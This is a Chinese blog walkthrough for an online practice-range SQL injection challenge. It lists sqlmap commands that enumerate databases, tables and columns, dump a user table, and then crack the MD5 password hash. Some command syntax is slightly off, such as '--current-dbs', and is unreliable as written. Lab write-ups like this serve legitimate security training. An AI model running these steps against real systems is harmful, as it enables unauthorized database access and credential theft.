在线靶场-墨者-SQL注入1星-SQL注入漏洞测试(布尔盲注)

最新推荐文章于 2025-07-09 20:48:44 发布

原创最新推荐文章于 2025-07-09 20:48:44 发布 · 940 阅读

2 ·

CC 4.0 BY-SA版权

文章标签：

#墨者学院-靶场题目

在线靶场-墨者题目专栏收录该内容

99 篇文章

订阅专栏

本文详细介绍如何使用sqlmap工具进行数据库注入攻击，包括发现注入点、获取数据库信息、表名及字段名，最终实现数据爆破并解密MD5获得密码。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

解题方法：
运用sqlmap工具对数据库进行爆破
1.判断注入点存在：python sqlmap.py -u “ip”
2.判断数据库名称：python sqlmap.py -u “ip”–dbs
3.判断web当前使用的数据库：python sqlmap.py -u “ip”–current-dbs
4.判断web当前使用的数据表：python sqlmap.py -u “ip”-D database --tables
5.判断表中字段：python sqlmap.py -u “ip“-D dbs -T tables --columns
6.数据爆破：python sqlmap.py -u “ip“-D tourdata -T userb -C “a,b,c” --dump
在这里插入图片描述
得到用户名和密码，去百度寻找MD5解密，解码后得到密码在靶场网页登录得到key
MD5网页：https://www.cmd5.com/